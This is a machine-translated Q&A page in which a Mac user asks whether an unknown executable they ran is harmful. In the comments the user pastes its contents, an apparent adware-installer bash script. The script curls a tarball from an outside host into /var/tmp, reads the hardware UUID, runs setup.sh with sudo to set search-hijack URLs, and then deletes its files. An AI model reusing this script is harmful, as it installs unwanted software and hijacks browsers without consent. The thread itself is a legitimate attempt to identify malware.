2017-09-07 67 views
0

我點擊了一個名爲「file」exec的文件。和命令提示符開給我this日誌:奇怪的命令提示執行「文件」後執行日誌exec

Last login: Thu Sep 7 17:42:18 on ttys000 
Davids-MacBook-Pro:~ David$ /file ; exit; 
logout 
Saving session... 
...copying shared history... 
...saving history...truncating history files... 
...completed. 

[Prozess beendet] 

哦,this是「文件」 EXEC的樣子在我的硬盤驅動器。

你能告訴我這是什麼意思,如果它不好?

謝謝!

回答

0

該文件是作爲命令行腳本執行的。你看到的是一個新的終端窗口打開,告訴你什麼時候你最後一次使用它,並給出提示「Davids-MacBook-Pro:〜David $」。接下來的位/file ; exit;是執行該文件然後退出shell的shell命令。之後的所有內容(「註銷」等)都是shell退出&清理過程。

執行文件和shell退出進程之間沒有任何關係,我們可以真正說的是它沒有向終端輸出任何東西。至於它做了什麼,它是否壞,我無法告訴。你可以通過打開終端(你需要一個新的終端窗口,因爲該終端已經退出)並且運行命令file /file來獲得關於它的格式的信息來獲得關於它的更多信息。如果輸出包含「文本」,則可以使用cat /file打印文件內容。在你的問題中包括這些命令的輸出(作爲文本,以「代碼」格式),我們可能會告訴你更多。

順便說一句,當你不知道它們是什麼或它們來自哪裏時執行文件通常是一個壞主意。

+0

嗨,謝謝你的回答。該文件是一個txt文件(非常長的行),這裏是我得到的貓/文件: (第一個塊) Davids-MacBook-Pro:〜David $ cat/file #!/ bin/bash func_4 ){ /bin/mkdir -p/var/tmp /usr/bin/curl -s -L -o /var/tmp/sr.tgz「http://c.installwizz.com/static/sr/sr_v2 .tgz「 /usr/bin/tar -xzf /var/tmp/sr.tgz -C/var/tmp cd/var/tmp/dvs mid = $(ioreg -rd1 -c IOPlatformExpertDevice | awk'/ IOPlatformUUID/{split($ 0,line,「\」「); printf(」%s \ n「,line [4]);}') –

+0

2nd chunk: COUNTRY =」DE「 if [」$ COUNTRY「= =「AU」] || [「$ COUNTRY」==「CA」] || [「$ COUNTRY」==「US」] || [「$ COUNTRY」==「NZ」] \ || [ $ COUNTR Y「==」ES「] || [「$ COUNTRY」==「IT」] || [「$ COUNTRY」==「NL」] || [「$ COUNTRY」==「FR」] || [「$ COUNTRY」==「IN」] \ || [「$ COUNTRY」==「DE」];然後 \t sudo ./setup.sh「http://www.searchitdown.com/?n=091&searchsource=55&UM=8&gd=SY1000653」「http://www.searchitdown.com/?n=091&searchsource=69&UM=8&gd = SY1000653「」http://www.searchitdown.com/Results.aspx?n=091&searchsource=58&UM=8&gd=SY1000653「」searchitdown「」upd「 –

+0

3rd chunk: 」http://i.installwizz.com/ c/cc?id =「 fi CLIENT_COMP =」「 if [[! -z「$ CLIENT_COMP」]];然後 \t的/ usr /斌/捲曲-s -L -o /var/tmp/re.txt 「http://i.installwizz.com/is/if?i=」 音響 func_taaVqst(){ sleep 220 rm -rf/var/tmp/dvs rm -rf/var/tmp/sr。TGZ } func_taaVqst& } func_4& 大衛 - 的MacBook-Pro的:〜大衛$ –